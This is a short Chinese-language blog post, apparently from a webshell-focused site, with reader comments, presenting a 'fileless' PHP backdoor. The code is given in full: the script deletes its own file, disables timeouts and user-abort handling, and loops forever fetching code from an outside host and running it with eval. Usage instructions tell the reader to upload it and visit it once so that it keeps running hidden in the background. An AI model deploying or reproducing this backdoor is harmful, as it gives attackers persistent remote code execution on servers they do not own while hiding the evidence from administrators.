PHP 无文件后门
webshell.php
<?php unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_file = 'http://xsser.me/webshel.txt'; while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); }; ?>
eval.txt
file_put_contents('1.txt','hello world '.time());
使用方式
将 webshel.php 传到服务器之后访问一次他会自删除。但,依然会在后台执行 eval.txt 中的代码。
停止执行
删除或清空 webshel.txt。
缺点
服务器或WEB容器一重启后门就没了。
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/4444.html
万一eval函数禁用了怎么办啊
有eval都会被爆的吧。
很鸡肋啊~会循环执行eval.txt 中的php code 而且更换php code 不方便
没看到webshel.php调用eval.txt的地方呢。怎么会运行这个文件呢。